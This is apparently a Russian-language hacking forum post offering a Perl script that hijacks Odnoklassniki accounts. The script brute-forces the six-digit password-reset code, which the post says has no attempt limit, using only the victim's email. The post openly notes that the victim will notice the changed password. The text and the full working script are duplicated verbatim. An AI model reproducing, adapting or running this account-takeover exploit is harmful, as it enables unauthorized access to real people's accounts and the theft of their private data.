Еще достаточно давно вышел сплойт для этого ресурса.
Суть-баг в системе восстановления пароля. Шестизначный код выставляется в ссылке-подтверждени и легко брутится (кол-во попыток не лимитировано).
Нужно знать только мыло.
Минус в том что пароль сменится и жертва быстро спалит бадягу.
Код:
Скопировать в буфер обмена
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
print qq(
,__ __,
\\ \\ / /
\\ \\ __ _ / /
\\ .___/\\:::* /\\ /
|_____\\ |/ \\
/<>//,./ / _________
/ / / \\ | RST
/ /.,\\\\<>/\\ \\ | GHC
\\ \\ /' \\ / | UKT
\\ \\ / \\ |__\\xD____
\\ \\/ /
/ '''\\''' /
/ / \\ \\ / \\ \\
/ / ___ \\ / \\ \\
*__ __*
[preved odnoklassne4gi]
);
if (!scalar(@ARGV)) {
print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n";
exit();
}
if (-e "success") {
print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n";
exit();
}
my($email,$MAX_PROCESSES,$DEBUG,@pids,$npids,$ua,$page,$page_content,$not,$code,$cod,$p,$con,$wait_ret);
$email="$ARGV[0]";
if ($ARGV[1]) {
$MAX_PROCESSES=$ARGV[1];
} else {
$MAX_PROCESSES=5;
}
$DEBUG=0;
@pids;
$npids=0;
# first step - omg! I lost my password?!?!?!
$ua=LWP::UserAgent->new();
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]);
$page_content=$page->content();
if ($page_content=~/st.email/) {
print "\[-\] Please provide correct email address\n";
exit();
} else {
print "\[+\] Repair password code send to $email\n";
}
# step number two - bruteforce code for repair password
print "\[~\] Brutforce code for repair password\
This process make take max ~ 18 hours to check all combinations\
You need good internet channel and fast cpu\n";
open(LOG_FILE,">>log");
$not=1;
for ($code=100000;$code<=999999;$code++) {
if (-e "success") {
print "DONE";
exit();
}
if ($code==199999 && $not==1) {
$cod="099999";
$not=0;
$code=100000;
} elsif ($code=~/^1(\d+)$/ && $not==1) {
$code=~/^1(\d+)$/;
$cod="0$1";
} else {
$cod=$code;
}
if ($cod=~/^(\d+)000$/) {
print "#";
}
my $pid;
$pid=fork();
if($pid>0){
push(@pids,$pid);
$npids++;
if($npids>=$MAX_PROCESSES){
for(1..($MAX_PROCESSES)){
$wait_ret=wait();
if($wait_ret>0){
$npids--;
}
}
}
next;
}elsif(undef $pid){
print "fork error\n" if ($DEBUG);
exit(0);
}
$p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]);
$con=$p->content();
if ($con=~/password.confirmation/) {
print "$cod cached\n";
print LOG_FILE "$cod cached\n";
open(SUCCESS,">>success");
print SUCCESS "\n############################\n";
print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n";
print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
print SUCCESS "############################\n";
print "############################\n";
print "Yahooo! Congratulations! Code for password repair is - $cod\n";
print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
print "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
print "############################\n";
close(SUCCESS);
} else {
print LOG_FILE "$cod failed\n";
}
exit();
}
close(LOG_FILE);
Суть-баг в системе восстановления пароля. Шестизначный код выставляется в ссылке-подтверждени и легко брутится (кол-во попыток не лимитировано).
Нужно знать только мыло.
Минус в том что пароль сменится и жертва быстро спалит бадягу.
Код:
Скопировать в буфер обмена
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
print qq(
,__ __,
\\ \\ / /
\\ \\ __ _ / /
\\ .___/\\:::* /\\ /
|_____\\ |/ \\
/<>//,./ / _________
/ / / \\ | RST
/ /.,\\\\<>/\\ \\ | GHC
\\ \\ /' \\ / | UKT
\\ \\ / \\ |__\\xD____
\\ \\/ /
/ '''\\''' /
/ / \\ \\ / \\ \\
/ / ___ \\ / \\ \\
*__ __*
[preved odnoklassne4gi]
);
if (!scalar(@ARGV)) {
print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n";
exit();
}
if (-e "success") {
print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n";
exit();
}
my($email,$MAX_PROCESSES,$DEBUG,@pids,$npids,$ua,$page,$page_content,$not,$code,$cod,$p,$con,$wait_ret);
$email="$ARGV[0]";
if ($ARGV[1]) {
$MAX_PROCESSES=$ARGV[1];
} else {
$MAX_PROCESSES=5;
}
$DEBUG=0;
@pids;
$npids=0;
# first step - omg! I lost my password?!?!?!
$ua=LWP::UserAgent->new();
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]);
$page_content=$page->content();
if ($page_content=~/st.email/) {
print "\[-\] Please provide correct email address\n";
exit();
} else {
print "\[+\] Repair password code send to $email\n";
}
# step number two - bruteforce code for repair password
print "\[~\] Brutforce code for repair password\
This process make take max ~ 18 hours to check all combinations\
You need good internet channel and fast cpu\n";
open(LOG_FILE,">>log");
$not=1;
for ($code=100000;$code<=999999;$code++) {
if (-e "success") {
print "DONE";
exit();
}
if ($code==199999 && $not==1) {
$cod="099999";
$not=0;
$code=100000;
} elsif ($code=~/^1(\d+)$/ && $not==1) {
$code=~/^1(\d+)$/;
$cod="0$1";
} else {
$cod=$code;
}
if ($cod=~/^(\d+)000$/) {
print "#";
}
my $pid;
$pid=fork();
if($pid>0){
push(@pids,$pid);
$npids++;
if($npids>=$MAX_PROCESSES){
for(1..($MAX_PROCESSES)){
$wait_ret=wait();
if($wait_ret>0){
$npids--;
}
}
}
next;
}elsif(undef $pid){
print "fork error\n" if ($DEBUG);
exit(0);
}
$p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]);
$con=$p->content();
if ($con=~/password.confirmation/) {
print "$cod cached\n";
print LOG_FILE "$cod cached\n";
open(SUCCESS,">>success");
print SUCCESS "\n############################\n";
print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n";
print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
print SUCCESS "############################\n";
print "############################\n";
print "Yahooo! Congratulations! Code for password repair is - $cod\n";
print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
print "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
print "############################\n";
close(SUCCESS);
} else {
print LOG_FILE "$cod failed\n";
}
exit();
}
close(LOG_FILE);